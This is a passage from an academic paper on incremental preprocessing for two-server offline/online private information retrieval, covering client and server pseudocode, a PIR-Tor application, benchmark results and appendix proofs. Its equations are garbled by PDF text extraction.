S ⊖ S′, where S ← Eval(k, aux) and S′ ← Eval(k, aux′),
without materializing either set. The server then computes the
parity of data blocks indexed by elements in S ⊖ S′.

For deletions and edits, the offline server uses the client’s
set keys to find in which of the client’s sets the changed
indices fall, and then computes the parity difference. Finally,
the server sends the hint response to the client, who then uses
it in HintUpd (Figure 6) to update its hints.

6.2 Online query and refresh

The client’s online query for some index i works as follows.
First, the client identifies which set contains i using Ψ’s
Member function (§6). Then, the client uses Eval to derive the
set’s indices, and then removes i from the set with probability

1: procedure HintRes(D′, uq)→ ur

2: Parse uq as {(kj , auxj , aux
∗
j )}j∈Q.

3: Initialize a tuple (p′1, . . . , p
′
|Q|) and set them all to 0b.

4: Initialize each entry in (aux′
1, . . . , aux

′
|Q|) as ⊥.

5: for j ∈ Q do // process additions first
6: if aux∗

j ̸=⊥ then
7: Set aux′

j ← aux∗
j

8: Compute S ← EvalDiff(kj , auxj , aux
′
j)

9: Compute p′j ←
⊕

e∈S D′[e]

10: else Set aux′
j ← auxj

11: for j ∈ Q do // process edits and deletions
12: Update p′j ← p′j

⊕
(Xz ⊕X′

z), ∀z ∈ [medit]

13: such that Member(xz , (kj , aux
′
j)) = 1

14: Update p′j ← p′j
⊕

(Yz ⊕ Y ′
z ), ∀z ∈ [mdel]

15: such that Member(yz , (kj , aux′
j)) = 1

16: Output ur ← (p′1, . . . , p
′
|Q|)

17: // compute symmetric difference between two sets
18: procedure EvalDiff(k, aux, aux′)→ S
19: Parse aux as [(rℓ, tℓ)]ℓ∈[L]

20: Parse aux′ as [(rℓ, t′ℓ)]ℓ∈[L+1]

21: for ℓ ∈ [L] do
22: Derive keys kℓ ← KDF(k, j)
23: Compute Sℓ ← Set[rℓ](kℓ, t

′
ℓ + 1, tℓ), ∀t′ℓ < tℓ

24: Compute S∗ ← ∪ℓ∈[L]S
ℓ

25: Output S ← S∗ ∪ Set[rL+1](kL+1, t
′
L+1)

FIGURE 5—Offline server responds to an update request by com-
puting the parity difference for each set that has changed.

1: procedure HintUpd(h, ur)→ h′

2: Parse h as {(kj , auxj , pj)}j∈[J]

3: for j ∈ [J ] do Update auxj ← aux′
j // see Fig. 4, Line 8

4: Parse ur as (p′1, . . . , p
′
|Q|)

5: for j ∈ Q do
6: Update pj ← pj ⊕ p′j .

7: Output h′ ← {(kj , auxj , pj)}j∈[J]

FIGURE 6—Client algorithm for updating local hints.

(s− 1)/n′ (or another index with the remaining probability),
where s is the set size and n′ is the newest database size.
This is in effect a trivial way of doing puncturing. Finally, the
client sends the remaining indices in the clear to the online
server as the query. We give the details in Figures 7 and 8.

Although the above approach leads to online communica-
tion of O(

√
n) bits (we have n ≤ n′), which is asymptotically

worse than the polylog communication in CK, we show in our
evaluation that the communication cost is reasonable given
that element sizes in real databases are larger than one bit (§8).

To refresh a set, the client generates a new key, and updates
the hint. After the refresh is complete, the refreshed set’s
auxiliary information will simply consist of one tuple, (n′, s).
Notice that refreshing a set has the nice side effect of reducing
the size of the auxiliary information since we no longer need
to maintain all the subranges of the incremental PRS (since
a refreshed set is basically a set generated from scratch). As
a result, when the number of queries following a database
update is such that the client has used every set at least once,
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1: Client keeps state = (n′, j∗), where n′ is the current database size,
and j∗ indicates which set is currently used for query.

2: procedure Query(h, i)→ qonline
3: Parse state = (n′, j∗)
4: for j ∈ [J ] do // find a set containing i
5: Compute α← Ψ.Member(i, (kj , auxj))
6: if α = 1 then set j∗ ← j and break
7: if for all j ∈ [J ], α = 0 then output fail
8: // generate query
9: Compute Sonline ← Ψ.Eval(kj∗ , auxj∗ )

10: Sample βonline ← Bernoulli( s−1
n′ )

11: if βonline = 0 then S′
online ← Sonline\{i}

12: if βonline = 1 then
13: yonline

R←− Sonline\{i}, S′
online ← Sonline\{yonline}

14: Output qonline ← S′
online

15: procedure Refresh(h, i)→ qoffline
16: Parse state = (n′, j∗)
17: Set (knew, auxnew)← Ψ.GenWith(i, n′)
18: Compute Soffline ← Ψ.Eval(knew, auxnew)
19: Compute βoffline ← Bernoulli( s−1

n′ )
20: if βoffline = 0 then S′

offline ← Soffline\{i}
21: if βoffline = 1 then
22: yoffline

R←− Soffline\{i}, S′
offline ← Soffline\{yoffline}

23: Update kj∗ ← knew, auxj∗ ← auxnew.
24: Output qoffline ← S′

offline

25: procedure QueryRecov(ronline, h)→ di
26: Parse state = (n′, j∗)
27: Parse h as {(kj , auxj , pj)}j∈[J]

28: Output di ← pj∗ ⊕ ronline

29: procedure RefreshRecov(roffline, h)
30: Parse state = (n′, j∗)
31: Parse h as {(kj , auxj , pj)}j∈[J]

32: Update pj∗ ← roffline ⊕ di

FIGURE 7—Client algorithms for online query. Client fetches an
item using Query and QueryRecov. To refresh a used set, the client
samples a new set (Refresh) and gets its parity (RefreshRecov).

the client’s auxiliary information will be in a state that is
comparable to preprocessing the new database from scratch.

Failure probability. The proposed online phase does not
meet our correctness definition (§3.2) because the client fails
to puncture the set at index i with probability O(1/

√
n) where

n is the original database size, rather than negl(λ). However,
we can employ the refinement to CK given in Checklist [40]
to reduce this error to negl(λ). For simplicity, we give the
former in Figure 7 and discuss the latter in Appendix A.4.2.

Besides the aforementioned puncturing failure, another
source of failure is when an index is not in any of the sets for
which the client has hints. As we mention in Section 4, we
chose to allow the database to grow while keeping the size of
the sets held by the client the same . As a result, the probability
that an index is not in any of the sets will necessarily increase.
We analyze this both in theory and concretely, and argue that
this probability is quite small.

Suppose each set has size s, is a random subset of [n], and
the client holds n/s such sets. The probability of failing to
find a desired index i in any of the sets is (1−s/n)n/s, which
is close to 1/e when s = n1/2 and n is large. Considering that

1: procedure Resp(q,D)→ r
2: Parse q as a set S
3: Output r ←

⊕
e∈S D[e]

FIGURE 8—Server algorithm during the online phase.

we (and CK) use a factor of log n more sets, the probability
of failing to find i in any of the

√
n log n sets is roughly 1/n.

When the size of the database grows to n + m where
m = o(n), the probability of failing to find i in any of
n/s sets is (1 − s/(n + m))n/s, which is asymptotically
(1/e)1−o(1). With a factor of log n more sets, this probability
is O(1/n1−o(1)). Concretely, suppose the database is of size
220, and the client holds 214 sets, where each set has size 210.
The failure probability in this case is 10−7. If the server adds
210 more items, the failure probability is still in the magni-
tude of 10−7. When the number of additions reaches 218, the
failure probability increases to the magnitude of 10−6.

Theorem 2. Assuming an incremental PRS Ψ that satisfies
correctness, security, and non-triviality (Definition 4), then the
incremental OO-PIR defined in Figures 3–8 (with the online
query improvement in Appendix A.4) satisfies correctness,
security, and non-triviality (Definition 2).

We give the proof in Appendix A. In particular for non-
triviality, we show in Appendix A.4.2 that the computational
cost to the offline server for IncPrep with m operations (speci-
fied by op) on a size-n database is in expectation O(bm log n),
with data item size b, set size s, and J = (n/s) log n. In
contrast, preprocessing from scratch for the entire updated
database requires O(b(m+ n) log n) server computation.

Nevertheless, communication costs for hint updates are
similar to preprocessing from scratch since that operation
is already sublinear in the database size in order to achieve
non-triviality (Definition 1).

6.3 Other PIR Schemes

Due to space limitations, we only discuss our incremental
CK protocol in the main paper. However, our tech report [46,
Appendix E] discusses how to make the SACM OO-PIR
scheme [51] incremental with similar high-level ideas as
those presented here, but with vastly different concrete mech-
anisms.

7 PIR-Tor with incremental OO-PIR
While there are many applications that could benefit from
our incremental OO-PIR constructions, we pick PIR-Tor [47]
as a representative example. PIR-Tor is a good fit since the
underlying database mutates slightly over time, and users
query this database periodically. We review PIR-Tor below.

Tor [26] provides a simplified view of the network by main-
taining directory servers that track the Tor relays that are
currently available. To build an onion routing circuit, users
download a description of the entire network from the direc-
tory servers every 10–15 minutes. PIR-Tor [47] proposes the

USENIX Association 31st USENIX Security Symposium    1751



use of PIR in the context of these directory servers so that
clients can retrieve the description of the desired relays with-
out revealing to the directory servers which relays were being
requested. This approach has the benefit of lowering commu-
nication cost and improving scalability since communication
costs were often the bottleneck for the directory servers. An
obvious drawback is that the server’s computation becomes
linear in the number of Tor relays currently available, which
ultimately places a hard limit on the number of concurrent
queries that a directory server can process. Hence, using a
PIR scheme that achieves sublinear computation, such as our
incremental CK construction (§4), can improve scalability
and gracefully handle updates to the directory server database.

Assigning roles to directory servers. Since Tor has multi-
ple directory servers and a large number of clients, a natural
question is how to assign the roles of offline and online servers
to directory servers and how the clients should choose which
servers to contact in a way that load balances the work (since
offline servers perform the expensive preprocessing step). We
make a simple observation: a server can act as an offline
server for one client and an online server for another. Based
on this, the Tor trusted authority propagates up-to-date relay
descriptions to all the directory servers. When a client reg-
isters, the client can then decide on two random directory
servers to use as an offline and online server, respectively.

Moreover, each online server has no idea of which offline
server the client chooses. In order to figure out the exact index
that the client queries, the online server needs to collude with
the exact directory servers that is communicating with the
client. Suppose there are p directory servers and an adver-
sary controls q of them. Then, for each client, the security is
compromised with probability roughly ( qp )

2.

8 Evaluation

Our evaluation aims to answer the following questions:
• What are the concrete computational and communication

costs of our incremental OO-PIR constructions?
• What is the throughput and latency of incremental prepro-
cessing compared to preprocessing from scratch?

• What is the cost to the client to maintain the hints?
• What are the benefits of incremental OO-PIR in PIR-Tor?
To answer these questions, we implement and evaluate our

incremental CK. We also have a construction for incremental
SACM in our tech report [46, Appendix E] but find that both
the original [51] and our incremental version are not yet useful
in practice (for a database with 220 items, the size of the hints
in both schemes is as large as the database).

Baselines. We use two state-of-the-art baselines: (1) CK OO-
PIR [23], which we implement; and (2) the two-server DPF-
based PIR scheme of Gilboa and Ishai [30], implemented by
Kales et al. [1, 37]. The latter has no offline phase.

Implementation. Our incremental CK implementation is
~2,000 lines of C++. Implementing our PRP requires care
since the range (and domain) can be very small because the
database operator could add just a handful of elements; typi-
cal PRP constructions are not secure when the range is small.
We use AES to implement a PRF for small range, and then
apply Patarin’s proposal [49] to the PRF to build a secure
PRP that has a small power-of-two range. Finally, we use the
technique by Black and Rogaway [9] for turning a PRP with
a power-of-two range into a PRP with an arbitrary range.

We generate the hypergeometric sampling for hint updates
using multiple Bernoulli samplings. For the CK baseline, we
use the GGM construction [32] to instantiate the puncturable
PRF out of a PRG. When evaluating the puncturable PRF at
continuous points 1, 2, . . . , s, we apply breadth-first expan-
sion in the PRG tree to reduce costs. In our experiments, we
choose the number of sets J such that the failure probability
of finding an index in one of the sets is around 10−6.

Evaluation testbed. We run all of our experiments on Cloud-
Lab [28] m510 machines (8-core 2 GHz Intel Xeon D-1548
processor and 64 GB RAM) running Ubuntu 20.04. The net-
work latency between machines is 20 ms and the throughput
is around 1.1 Gbps. For results, we give the average over ten
trials; we find that in all cases standard deviations are less
than 10% of the mean.

8.1 Microbenchmarks for incremental PIR

We run a series of microbenchmarks to measure the time
required for the initial preprocessing, online query processing,
and updating hints. Figure 9 shows the results under three
different database sizes, where each data object is 32-bytes.

Online costs. A client’s online query consists of two parts: a
query for an item to the online server and, in parallel, a refresh
of the used set to the offline server. Both servers’ logic is the
same: they perform a number of XORs that is sublinear in the
database size (in our case roughly square-root). As a result,
the costs are low; for a database with a million records, each
server spends less than 0.1 ms. In terms of communication,
even though clients send indices in the clear, it is still practical:
for one million elements, the combined cost to query an item
and refresh the used set is under 16.4 KB.

Update costs. For hint updates, we measure the cost of a
batch of operations that increases the database size by 1%.
Figure 9 shows that the computational cost of incremental
preprocessing (IncPrep) is about two orders of magnitude
lower than preprocessing from scratch (Prep). Note that the
incremental preprocessing computation is not strictly linear in
the number of additions since evaluating a PRP for non-power-
of-two ranges is more expensive due to cycle walking [9].

8.2 Online performance and costs

The previous microbenchmark shows the savings that OO-PIR
servers can expect when there are additions to the database
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Database size 216 218 220

Client CPU costs
Prep (ms) 0.36 0.74 1.28
Query (ms) 3.93 6.48 7.87
Refresh (ms) 1.35 2.07 4.90
IncPrep (sec) 0.06 0.50 3.96

Server CPU costs
Prep (sec) 3.64 14.52 58.67
Resp (ms) 0.02 0.04 0.06
IncPrep (sec) 0.07 0.25 1.03

Communication costs
Prep (MB) 0.18 0.37 0.74
Query (KB) 2.04 4.09 8.18
Refresh (KB) 2.04 4.09 8.18
IncPrep (MB) 0.19 0.38 0.76

FIGURE 9—Microbenchmarks for the operations in incremental CK
when adding a batch of new elements (1% of the original database).
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FIGURE 10—Mean latency and server throughput as a function of
increasing load (independent variable not depicted) during online
phase and incremental preprocessing phase. Each data point repre-
sents the latency and the throughput achieved at a given load (low
and to the right is better). A vertical spike indicates that the system
has reached saturation: throughput is consistent but mean latency
goes up since requests must spend time in queues waiting for service.

(edits and deletes are cheaper). In real applications, we also
consider end-to-end metrics: (1) the latency of issuing online
queries (fetching the desired item and refreshing the used set)
and updating hints; (2) the cost to the servers to update the
database; and (3) the client’s storage cost over time.

We measure these metrics with parameters inspired by
Tor: database items are 2KB (size of a Tor relay descriptor),
and the initial database consists of 7,000 items (number of
Tor relays [2]). For database updates, we compile and use
historical traces of Tor relay updates from February to May
2021, and use 3 days worth of changes for each batch. We
also give experiments for a deployment of a hypothetical Tor
network with 70K relays in our tech report [46, Appendix D].

Performance. We measure the latency experienced by a
client and throughput achieved by the servers when issuing
online queries as we increase the load on the system under our
incremental CK (§4) and the baselines. Figure 10a depicts our
results. Compared to DPF-PIR, incremental CK improves the
throughput achieved by roughly 6×. Since incremental CK
performs no cryptography (the indices are sent in the clear),
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FIGURE 11—Online communication costs for DPF-PIR, CK, and
incremental CK, and offline communication costs for CK and incre-
mental CK for our experiment with 7K Tor relays.

it achieves a higher throughput and lower latency than both
baselines which derive the indices from a key.

Online communication. Figure 11a shows the online com-
munication for two baselines (DPF and CK) and incremental
CK. We show the combined size of the queries sent to the two
servers and the corresponding response. Queries in the DPF
baseline are smaller than incremental CK since they send
cryptographic keys rather than indices in the clear. 5 The size
of each server’s reply is optimal for all three schemes and
consists of the size of a data element (2KB). This optimal
response size is a benefit of our approach over Checklist [40],
which supports additions by storing them in different buckets
but requires fetching an element from every bucket.

8.3 Offline performance and costs

We then measure the latency experienced by the client and
the throughput achieved by the server when updating hints as
a result of a database change. The baseline lets the client and
the offline server re-do the preprocessing from scratch.

Figure 10b depicts the results for preprocessing and hint
updates for incremental CK. We find that it achieves 2–4×
speedup (depending on batch size) compared to preprocessing
from scratch. This results in both lower latency experienced
by the client and higher throughput for the offline server. The
benefit of our incremental preprocessing is more prominent
when there are only a small number of data objects added, or
if edits and deletions are performed.

Communication costs. Incremental CK incurs higher of-
fline communication (initial preprocessing and hint updates)
than CK because the client needs to also send auxiliary infor-
mation to the server. This is depicted in Figure 11b.

Computation and storage costs. We measure the costs in-
curred by the offline server and the client during a database
update by relying on the traces we collected for Tor relays.
Specifically, the offline server sets up a database with 7K
relays, and the client and the server preprocess it. Then, the
server adds relays over time with both client and the offline
server engaging exclusively in incremental preprocessing.

5For small databases (e.g., 7K elements) the indices are smaller than the
punctured key, but this is not the case for larger databases [46, Appendix D].
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FIGURE 12—Offline server computation costs and client storage
over time based on a 3-month Tor relay update trace.

Figure 12a shows the results. The computation for the
server is proportional to the number of changes, and is signif-
icantly lower than preprocessing the updated database from
scratch. The downside for the client is that it must store more
data over time. In particular, as shown in Figure 12b, the
client storage over a period of 90 days grows based on the
client’s query and server’s update frequency. The reason that
the client’s query frequency matters is that every time the
client uses a set it refreshes the set, thereby eliminating the
need to keep auxiliary information for that set (§6.2). As a
result, the more queries that a client issues between database
updates, the lower its storage overhead. Among all frequen-
cies shown, the percentage of client storage growth is less
than 8%. Furthermore, the client can preprocess the database
from scratch when the local storage becomes too high.

9 Discussion

This work introduces the idea of incremental preprocessing
for offline/online PIR with the hope of supporting real-world
applications which often have mutable databases. Our eval-
uation shows that our changes to the CK OO-PIR scheme
are affordable in terms of communication and storage costs
and effective at reducing the impact of updates. However, our
approach is not a panacea and open questions remain.

If the database items are large, OO-PIR schemes where
the hints are stored at the client (e.g., CK and SACM) are
a poor fit. Since our incremental preprocessing is not black-
box, it remains to be seen how to apply it to schemes where
the hints are kept at the servers [8]. Furthermore, this work
investigates only two-server PIR schemes; designing efficient
preprocesing for single-server PIR remains an open question
(existing schemes rely on obfuscation [15, 18, 23]), and en-
suring that the preprocessing is incremental is an exciting
direction. Finally, it is unclear how to support incremental
preprocessing and PIR-by-keywords [21] given that muta-
tions that changes the keywords of existing items or add new
keywords would impact the underlying search data structure.

Nevertheless, we are excited by the prospect of continuing
to extend the class of applications that can profitably use PIR
to build services that safeguard users’ privacy.
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A Proofs and analysis for incremental CK
A.1 Proofs for strawman proposal

Theorem 3 (Batched addition). For a random subset S ⊆ [n] of
size s, construct S′ as follows:

• sample a number w fromHG(n+m,m, s),
• randomly choose w elements from [n+ 1, n+m],
• replace w random elements in S with the above w elements.

Then S′ is a random subset of size s of [n+m].

Proof. We show that any index i ∈ [n + m] is contained in the
resulting set S′ with the same probability s/(n+m).

We examine the following two cases.
Case 1. For a fixed i ∈ [n+ 1, n+m], S′ contains i if and only

if i is in the sampled w elements. That is,

Pr[i ∈ S′] =

m∑
z=1

Pr[w = z] · z
m

if s ≥ m, and

Pr[i ∈ S′] =

s∑
z=1

Pr[z = 1] · z
m

if s < m.
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By the hypergeometric distribution formula, the RHS of both
terms is Cs−1

n+m−1/C
s
n+m = s/(n+m).

Case 2. For a fixed i ∈ [n], S′ contains i if and only if i is sampled
into S and i has not been kicked out by the replacement with the w
sampled elements. Therefore we have

Pr[i ∈ S′] =
s

n
· (

m∑
z=0

Pr[w = z] · (1− z

s
)) if s ≥ m, and

Pr[i ∈ S′] =
s

n
· (

s∑
z=0

Pr[w = z] · (1− z

s
)) if s < m,

where the leading factor s/n captures i being selected into the set
initially, and the rest stands for the probability that i remains in the
set. Using the result from the previous case, we have

Pr[i ∈ S′] =
s

n
(1−

m∑
z=1

Pr[w = z] · z
s
)

=
s

n
(1− m

s
(

m∑
z=1

Pr[w = z] · z
m

))

=
s

n
· (1− m

s
· s

m+ n
) =

s

n+m
for s ≥ m,

Pr[i ∈ S′] =
s

n
(1−

s∑
z=1

Pr[w = z] · z
s
)

=
s

n
(1− m

s
(

s∑
z=1

Pr[w = z] · z
m

))

=
s

n
· (1− m

s
· s

m+ n
) =

s

n+m
for s < m.

A.2 Secure puncturable PRS from partially secure PRP

In this section, we show that in order to ensure security for punc-
turable PRS, having a partially secure PRP suffices. In order to use
prior proofs from CK [23], we view our construction of incremental
PRS as a puncturable PRS with trivial puncturing.

Definition 5 (Puncturable PRS security [23]). For λ, n ∈ N, and
a puncturable PRS Φ = (Gen,Punc,Eval) with size s, define the
following game, played between a challenger and an adversary.

The challenger executes the following steps:
• k ← Φ.Gen(1λ, n)

• S ← Φ.Eval(k)

• x∗ R←− S; kp ← Φ.Punc(k, x∗)

and sends 1λ and kp to the adversary. The adversary outputs an
integer x′ ∈ [n] and “wins” if x∗ = x′. The advantage is defined as

AdvPPRS(λ) = Pr[x∗ = x]− 1

n− s+ 1
.

We call a PPRS ϵ-secure if the above advantage is less than ϵ,
where ϵ is a negligible function on the security parameter λ.

Lemma 1. Given a PRP = (Gen,Eval) : [n] → [n] that is ϵ-
secure (where ϵ is a negligible function on λ) over s(n) queries, the
following puncturable PRS Φ with linear-sized puncturable keys is
ϵ-secure.

Proof. We modify Construction 4 in CK [23] as follows:

• Φ.Gen(1λ, n)→ k:
Sample k ← PRP.Gen(1λ, n).

• Φ.Eval(k)→ S:
Compute S ← {PRP.Eval(k, 1), . . . ,PRP.Eval(k, s(n))}.

• Φ.Punc(k, i)→ kp:
Define kp as the elements in Φ.Eval(k)\{i}.

Suppose we have an adversary A that breaks puncturable PRS
security of Φ, then we can construct an adversary B that breaks the
security of PRP. We denote the challenger in the PRP game as C,
where it responds to queries either using random permutation F or a
pseudorandom permutation PRP.Eval(k, ·). The construction of B
is as follows.

• B sends to C s inputs x1, . . . , xs, and gets s distinct response
values. Denote the set formed by these values as S.

• B removes a random element y in S and sends the resulting s−1
elements to A.

• A outputs y′.
• B outputs 1 if y′ = y, and 0 otherwise.
The advantage of B in PRP game is

AdvPRP(λ) = |Pr[B(PRP.Eval(k, ·)) = 1]−Pr[B(F (·)) = 1]|.

Since F is a truly random permutation, Pr[B(F (·)) = 1] = 1/(n−
s+ 1), i.e., A randomly guesses an element that is not in the s− 1
received elements. And due to the construction of B, we have that
Pr[B(PRP.Eval(k, ·)) = 1] = Pr[y′ = y]. In other words,

AdvPRP(λ) = Pr[x∗ = x]− 1

n− s+ 1
= AdvPPRS(λ),

i.e., B breaks the security of PRP. Contradiction.

The above theorem implies that we only need a PRP (with range
[n]) that is secure against s(n) queries. This is crucial for efficiency,
since for small range size, fully secure PRPs are more inefficient
than partially secure PRPs.

A.3 Properties of incremental PRS

A.3.1 Non-triviality definition

Recall from Section 5 the definition of g(n): the expected size of
U ⊖U ′, where U,U ′ are sets (both of size s(n)) uniformly sampled
from [n] and [n+ o(n)] respectively.

Theorem 4. For uniformly sampled size-s set U from [n] and set
U ′ from [n+ o(n)], g(n) = E[|U ⊖ U ′|] = s2/(n2 + o(n2)).

Proof. We call the sampling of U as trial 1 and the sampling of U ′

as trial 2. We define a random variable Xi to indicate whether i is
sampled in both trials. That is, Xi = 1 if and only if i is sampled
into both U and U ′. Note that |U ∩ U ′| =

∑
i∈[n+o(n)] Xi.

Now we examine two cases for the random variable Xi:
For 1 ≤ i ≤ n, a uniform size-s subset of [n] contains i with

probability Cs−1
n−1/C

s
n = s/n. Similarly, a uniform size-s subset of

[n+o(n)] contains i with probability s/(n+o(n)). Hence E[Xi] =
Pr[Xi = 1] = (s/n) · (s/(n+ o(n))) = s2/(n2 + o(n2)).

For n+ 1 ≤ i ≤ n+ o(n), E[Xi] = Pr[Xi = 1] = 0 because
it is impossible for i to appear in U .

Therefore we have E|U ∩ U ′| = E[
∑

i∈[n+o(n)] Xi] =∑
i∈[n+o(n)] E[Xi] =

∑
i∈[n] E[Xi] = s2/(n+ o(n)).
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For the proofs in the following sections, we will use the above
theorem for s(n) =

√
n. Under this case, E[|U ∩ U ′|] ≤ 1, which

means E|U ⊖U ′| ≥ 2(
√
n−1). On the other hand, E[|U ⊖U ′|] ≤

2
√
n, then we have E|U ⊖ U ′| = Θ(

√
n).

A.3.2 Proof of Theorem 1

We use
(
[n]
s

)
to denote the set of all subsets of [n] with size s. We use

{dist} to denote a distribution ensemble, ≈c for computationally
indistinguishability between two distribution ensembles.

Lemma 2 (Puncturable security implies pseudorandomness of a
set [23]). Let Φ = (Gen,Punc,Eval) be an ϵ-secure PPRS with
set size s(n). For λ, n ∈ N, define the two distributions

Ppseudo := {Φ.Eval(Φ.Gen(1λ, n))};Ptrue :=

{
S

R←−

(
[n]

s

)}
.

Then for every PPT adversary A, the two distributions are computa-
tionally indistinguishable.

The proof is in Appendix B.1 of CK [23].

We will now introduce a series of helper lemmas before proving
properties for incremental PRS. For notation simplicity, we use a
superscript to denote the number n in Ppseudo or Ptrue.

Lemma 3 (Proposed protocol in Section 4.2.1). Define

Psingle =


S

R←−
(
[n]
s

)
b← Bernoulli(s/(n+ 1))

S′ : if b = 0, do nothing
if b = 1, i

R←− S,
S′ ← (S\{i}) ∪ {n+ 1},


Then Psingle = P [n+1]

true .

Proof. Rewrite P [n+1]
true as
S

R←−
(
[n+1]

s

)
S′ : if n+ 1 ̸∈ S, S′ ← S

if n+ 1 ∈ S, S′ ← S\{n+ 1},
S′ ← S′ ∪ {n+ 1}


Define P∗

true as
S

R←−
(
[n+1]

s

)
S′ : if n+ 1 ̸∈ S, S′ R←−

(
[n]
s

)
if n+ 1 ∈ S, S′ R←−

(
[n]
s−1

)
,

S′ ← S′ ∪ {n+ 1}


and P ′

true as
b← Bernoulli(s/(n+ 1))

S : if b = 0, S
R←−
(
[n]
s

)
if b = 1, S

R←−
(

[n]
s−1

)
, S ← S ∪ {n+ 1}


On one hand, P [n+1]

true = P∗
true because when n + 1 ̸∈ S, the s

elements of S are uniformly at random distributed over [n] (this is
by definition of randomly sampling s elements). Similarly, the same
argument applies when n+ 1 ∈ S.

On the other hand, P∗
true = P ′

true, because in the former, the the
only role of S is to decide which case out of the two cases (since S′

is freshly generated anyway), so it can be captured by a Bernoulli
distribution. Hence P [n+1]

true = P ′
true.

Now we look at Psingle. Since Bernoulli sampling is independent
of sampling S, we can swap the first two steps in Psingle and get

P ′
single =


b← Bernoulli(s/(n+ 1))

S′ : if b = 0, S
R←−
(
[n]
s

)
if b = 1, S

R←−
(
[n]
s

)
, i

R←− S,
S′ ← (S\{i}) ∪ {n+ 1}


Simplifying the b = 1 case in P ′

single, we have
b← Bernoulli(s/(n+ 1))

S : if b = 0, S
R←−
(
[n]
s

)
if b = 1, S

R←−
(

[n]
s−1

)
, S ← S ∪ {n+ 1}

 ,

which is exactly P ′
true.

Lemma 4 (Batched version in Section 4.2.1). Define

Pmulti :=


w ← HG(n+m,m, s)

S1 ∪ S2 : S1 R←−
(

[n]
s−w

)
S2 R←−

(
[n+1,n+m]

w

)


Then P [n+m]
true = Pmulti.

Proof. Define P ′
true as

S
R←−
(
[n+m]

s

)
Let w be the number of elements

S1 ∪ S2 : of S in [n+ 1, n+m]

S1 R←−
(

[n]
s−w

)
S2 R←−

(
[n+1,n+m]

w

)


On the one hand, we have P ′

true = P
[n+m]
true by applying a similar

approach to Lemma 3. On the other hand, by the definition of the
hypergeometric distribution, P ′

true = Pmulti.

Theorem 5 (Correctness). Let Ψ = (Gen,Eval,Add) be the incre-
mental PRS in Section 5.3. Then Ψ satisfies correctness.

Proof. First, given aux = [(n, s)], Ψ.Eval will output a set in
(
[n]
s

)
by construction. Second, after m indices are added, the new set will
be Set[n](sk, t1) ∪ Set[m](k2, t2) for some t1, t2 and t1 + t2 = s.
Therefore the output set is a subset of [n+m] of size s.

Theorem 6 (Security). Let Ψ = (Gen,Eval,Add) be the incremen-
tal PRS in Section 5.3. Then Ψ satisfies security.

Proof. The distribution generated by Ψ can be written as

Pprs :=

 (k, aux)← Ψ.Gen(1λ, n)
S : aux′ ← Ψ.Add(k,m)

S ← Ψ.Eval(k, aux′)


By construction of Ψ, we rewrite Pprs as

w ← HG(n+m,m, s)

S1 ∪ S2 : S1 R←− Set[n](k1, s− w)

S2 R←− Set[m](k2, w) + n
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Suppose we randomly sample k1, k2 from a PRP key space K.
By Lemma 2 and 4, we have {Pprs}λ ≈c {P [n+m]

true }λ.

Theorem 7 (Non-triviality). Let Ψ = (Gen,Eval,Add) be the
incremental PRS in Section 5.3. Then Ψ satisfies non-triviality.

Proof. Let S and S′ be the sets defined in Section 5.3. We know
that |S ⊖ S′| = 2w, where w ← HG(n +m,m, s), and E[w] =

m
m+n

· s. Since s =
√
n, and m = o(n), E[|S ⊖ S′|] = 2E[w] =

2 · o(1)·
√
n

1+o(1)
= o(
√
n). Therefore, E[w] = o(g(n)).

A.4 Properties of incremental CK construction

A.4.1 Eval with shifts

We modified Eval to take shifts into account. Eval(k, aux, sh) takes
in a secret key k, aux and a shift sh, parses aux as [(rℓ, tℓ)]ℓ∈[L],
derives keys from k as k1, . . . , kL, and computes the first subset
S1 = {PRP[r1](k1, 1), . . . ,PRP

[r1](k1, t1)} + sh mod r1 and
the subsequent subsets as S2, . . . , SL as in Section 5.3. Then it
outputs ∪ℓ∈[L]Sℓ.

A.4.2 Proof of Theorem 2

We first summarize a modification to CK in Checklist [40, §4.2] that
doubles the size of the online query and refresh, but that reduces
the correctness error of the online phase from (s− 1)/n to negl(λ),
where s is the set size and n is the size of the database. Then we
prove that our construction with this improvement incorporated
satisfies correctness in Definition 2.

Checklist’s proposal ensures that the client can always get the
desired item at index i regardless of the result of the Bernoulli
sampling (Figure 7, line 10 and 19). It works as follows.

The client samples β ← Bernoulli(2(s − 1)/n). If β = 0, the
client generates Soffline and finds Sonline (both containing i) as in
Figure 7. Additionally, it picks two random indices, γoffline from
Soffline \ {i} and γonline from Sonline \ {i}. It sends to each server
a set, along with an index: to the offline server it sends (Soffline \
{i}, γoffline); to the online server it sends (Sonline \ {i}, γonline). Each
server sends back the parity for the set (b bits) and the data item for
the index (b bits). The client will only use the parity for Sonline \ {i}
to recover the desired item at index i (Query), and use the parity for
Soffline \ {i} and block i to replace the used set (Refresh). The two
random indices γoffline and γonline are not used for query nor refresh;
they are used for security reasons (see the β = 1 case below).

If β = 1, the client does not use any of its locally stored
√
n logn

sets (hints). Instead, it generates a new set Snew that contains i. It
randomly samples γ from Snew \{i} and γ′ from Snew \{γ}. Unlike
in the original protocol where only the online server processed
queries during the online phase, in this refined version the offline
server is also asked to help with online queries. Now the client picks
one of the two servers at random (it does so to hide which server
helps to compute the parity for Snew \ {i}), and sends the chosen
server (Snew \ {i}, γ), and sends (Snew \ {γ}, γ′) to the other server.
Each server sends back the parity for the provided set and the data
item for the provided index (γ or γ′) to the client. The client then
uses three things: the parity for Snew \ {i}, the parity for Snew \ {γ},
and the data item at index γ, to recover the item at index i. The
random index γ′ is not used for recovering the data item; it is used to
hide which server plays the role of computing Snew \ {i}. After the
client recovers data block i, it discards Snew and never uses it again

for future queries. In this case, the
√
n logn sets and their parities

remain unchanged so there is no need to refresh any sets.

Theorem 8 (Correctness). Let Π = (Prep, IncPrep, Query,
Refresh, Resp, QueryRecov, RefreshRecov) be the scheme in Sec-
tion 6, and suppose the underlying construction of incremental PRS
Ψ satisfies correctness. Then Π with the above improvement satisfies
correctness in Definition 2.

Proof. Correctness contains two parts: the hint should be updated
correctly, and the client should fetch its desired item during the
online phase. The former follows directly from Algorithms 4 and 5.
For the latter, since Algorithm 7 is compatible with Checklist’s
improvement (proved correct in Checklists’s Lemma B.1 [40]), we
can reduce the correctness error to negl(λ).

Theorem 9 (Security). Let Π = (Prep, IncPrep, Query, Refresh,
Resp, QueryRecov, RefreshRecov) be the scheme in Section 6, and
suppose the incremental PRS Ψ satisfies correctness and security.
Then Π satisfies security in Definition 2.

Proof. Security contains two parts: the hint update should not reveal
any information of queried index and the queries during online
phase should look indistinguishable (since Refresh is symmetric
with Query, hence we only consider the latter here). The former
